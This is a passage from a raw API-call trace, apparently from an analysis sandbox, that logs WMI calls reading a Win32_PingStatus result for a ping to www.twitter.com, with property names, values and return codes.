pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x227c0ac*=8, plFlavor=0x227c0b0*=64) returned 0x0 [0162.859] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.859] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.859] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0162.859] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0162.859] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.859] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c208*=0, plFlavor=0x227c20c*=0 | out: pVal=0x5bdec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3df0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x227c208*=8200, plFlavor=0x227c20c*=64) returned 0x0 [0162.860] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c208*=8200, plFlavor=0x227c20c*=64 | out: pVal=0x5bdec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3df0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x227c208*=8200, plFlavor=0x227c20c*=64) returned 0x0 [0162.860] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0162.860] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0162.860] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.860] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c470*=0, plFlavor=0x227c474*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x227c470*=8, plFlavor=0x227c474*=64) returned 0x0 [0162.860] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.860] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.861] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c470*=8, plFlavor=0x227c474*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x227c470*=8, plFlavor=0x227c474*=64) returned 0x0 [0162.861] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.861] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.861] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0162.861] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0162.861] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.861] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c598*=0, plFlavor=0x227c59c*=0 | out: pVal=0x5bdec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3df0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x227c598*=8200, plFlavor=0x227c59c*=64) returned 0x0 [0162.861] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__Derivation", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227c598*=8200, plFlavor=0x227c59c*=64 | out: pVal=0x5bdec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3df0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x227c598*=8200, plFlavor=0x227c59c*=64) returned 0x0 [0162.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0162.863] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0xf, pszText=0x0) returned 0x0 [0162.863] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0162.863] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0xf, pszText=0x0) returned 0x0 [0162.863] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.863] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde87c | out: pNames=0x5bde87c*="\x01ƀ\x04") returned 0x0 [0162.863] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.863] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.863] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde714 | out: plLbound=0x5bde714) returned 0x0 [0162.863] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.863] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.863] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.863] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.863] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.863] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.864] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.864] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.864] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.864] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.864] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.864] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.864] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.864] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.864] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.864] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.864] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.864] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.864] SysStringByteLen (bstr="__PATH") returned 0xc [0162.864] SysStringByteLen (bstr="__PATH") returned 0xc [0162.864] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e098*=0, plFlavor=0x227e09c*=0 | out: pVal=0x5bde878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x227e098*=3, plFlavor=0x227e09c*=64) returned 0x0 [0162.865] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e1a0*=0, plFlavor=0x227e1a4*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x227e1a0*=8, plFlavor=0x227e1a4*=64) returned 0x0 [0162.865] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.865] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.865] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e234*=0, plFlavor=0x227e238*=0 | out: pVal=0x5bde878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e234*=8, plFlavor=0x227e238*=64) returned 0x0 [0162.865] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e2f8*=0, plFlavor=0x227e2fc*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x227e2f8*=8, plFlavor=0x227e2fc*=64) returned 0x0 [0162.865] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.865] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.865] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e38c*=0, plFlavor=0x227e390*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x227e38c*=8, plFlavor=0x227e390*=64) returned 0x0 [0162.865] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.865] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.865] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e5d0*=0, plFlavor=0x227e5d4*=0 | out: pVal=0x5bde878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x227e5d0*=3, plFlavor=0x227e5d4*=64) returned 0x0 [0162.866] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e718*=0, plFlavor=0x227e71c*=0 | out: pVal=0x5bde878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3df0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x227e718*=8200, plFlavor=0x227e71c*=64) returned 0x0 [0162.866] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e788*=0, plFlavor=0x227e78c*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x227e788*=8, plFlavor=0x227e78c*=64) returned 0x0 [0162.866] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.866] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.866] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e810*=0, plFlavor=0x227e814*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x227e810*=8, plFlavor=0x227e814*=64) returned 0x0 [0162.866] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.866] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.866] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227e8e4*=0, plFlavor=0x227e8e8*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x227e8e4*=8, plFlavor=0x227e8e8*=64) returned 0x0 [0162.866] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.866] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.867] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8bc | out: puCount=0x5bde8bc*=0x2) returned 0x0 [0162.867] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8b8*=0xf, pszText=0x0) returned 0x0 [0162.867] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.867] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8bc | out: puCount=0x5bde8bc*=0x2) returned 0x0 [0162.867] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8b8*=0xf, pszText=0x0) returned 0x0 [0162.867] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.867] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x5bde8c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde8b8 | out: pNames=0x5bde8b8*="\x01ƀ\x04") returned 0x0 [0162.867] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.867] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.867] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde750 | out: plLbound=0x5bde750) returned 0x0 [0162.867] SysStringByteLen (bstr="Address") returned 0xe [0162.867] SysStringByteLen (bstr="Address") returned 0xe [0162.867] SysStringByteLen (bstr="BufferSize") returned 0x14 [0162.867] SysStringByteLen (bstr="BufferSize") returned 0x14 [0162.868] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0162.868] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0162.868] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0162.868] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0162.868] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0162.868] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0162.868] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0162.868] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0162.868] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0162.868] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0162.868] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0162.868] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0162.868] SysStringByteLen (bstr="ReplySize") returned 0x12 [0162.869] SysStringByteLen (bstr="ReplySize") returned 0x12 [0162.869] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0162.869] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0162.869] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0162.869] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0162.869] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0162.869] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0162.869] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0162.869] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0162.869] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0162.869] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0162.869] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0162.869] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0162.869] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0162.869] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0162.869] SysStringByteLen (bstr="StatusCode") returned 0x14 [0162.869] SysStringByteLen (bstr="StatusCode") returned 0x14 [0162.869] SysStringByteLen (bstr="Timeout") returned 0xe [0162.869] SysStringByteLen (bstr="Timeout") returned 0xe [0162.869] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0162.870] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0162.870] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0162.870] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0162.870] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0162.870] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0162.870] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0162.870] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0162.870] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0162.870] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0162.870] SysStringByteLen (bstr="TypeofService") returned 0x1a [0162.870] SysStringByteLen (bstr="TypeofService") returned 0x1a [0162.870] IWbemClassObject:Get (in: This=0x5f6b650, wszName="Address", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f04c*=0, plFlavor=0x227f050*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x227f04c*=8, plFlavor=0x227f050*=0) returned 0x0 [0162.870] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.870] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.870] IWbemClassObject:Get (in: This=0x5f6b650, wszName="BufferSize", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f0dc*=0, plFlavor=0x227f0e0*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x227f0dc*=19, plFlavor=0x227f0e0*=0) returned 0x0 [0162.871] IWbemClassObject:Get (in: This=0x5f6b650, wszName="NoFragmentation", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f14c*=0, plFlavor=0x227f150*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f14c*=11, plFlavor=0x227f150*=0) returned 0x0 [0162.871] IWbemClassObject:Get (in: This=0x5f6b650, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f384*=0, plFlavor=0x227f388*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f384*=19, plFlavor=0x227f388*=0) returned 0x0 [0162.871] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ProtocolAddress", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f3f4*=0, plFlavor=0x227f3f8*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="104.244.42.129", varVal2=0x0), pType=0x227f3f4*=8, plFlavor=0x227f3f8*=0) returned 0x0 [0162.871] SysStringByteLen (bstr="104.244.42.129") returned 0x1c [0162.871] SysStringByteLen (bstr="104.244.42.129") returned 0x1c [0162.871] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f484*=0, plFlavor=0x227f488*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x227f484*=8, plFlavor=0x227f488*=32) returned 0x0 [0162.872] SysStringByteLen (bstr="") returned 0x0 [0162.872] SysStringByteLen (bstr="") returned 0x0 [0162.872] IWbemClassObject:Get (in: This=0x5f6b650, wszName="RecordRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f4e8*=0, plFlavor=0x227f4ec*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f4e8*=19, plFlavor=0x227f4ec*=0) returned 0x0 [0162.872] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ReplyInconsistency", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f5e4*=0, plFlavor=0x227f5e8*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f5e4*=11, plFlavor=0x227f5e8*=0) returned 0x0 [0162.872] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ReplySize", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f654*=0, plFlavor=0x227f658*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x227f654*=19, plFlavor=0x227f658*=0) returned 0x0 [0162.872] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ResolveAddressNames", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f6c4*=0, plFlavor=0x227f6c8*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f6c4*=11, plFlavor=0x227f6c8*=0) returned 0x0 [0162.873] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ResponseTime", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f734*=0, plFlavor=0x227f738*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), pType=0x227f734*=19, plFlavor=0x227f738*=0) returned 0x0 [0162.873] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ResponseTimeToLive", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f7a4*=0, plFlavor=0x227f7a8*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x39, varVal2=0x0), pType=0x227f7a4*=19, plFlavor=0x227f7a8*=0) returned 0x0 [0162.873] IWbemClassObject:Get (in: This=0x5f6b650, wszName="RouteRecord", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f814*=0, plFlavor=0x227f818*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f814*=8200, plFlavor=0x227f818*=32) returned 0x0 [0162.873] IWbemClassObject:Get (in: This=0x5f6b650, wszName="RouteRecordResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f878*=0, plFlavor=0x227f87c*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f878*=8200, plFlavor=0x227f87c*=32) returned 0x0 [0162.873] IWbemClassObject:Get (in: This=0x5f6b650, wszName="SourceRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 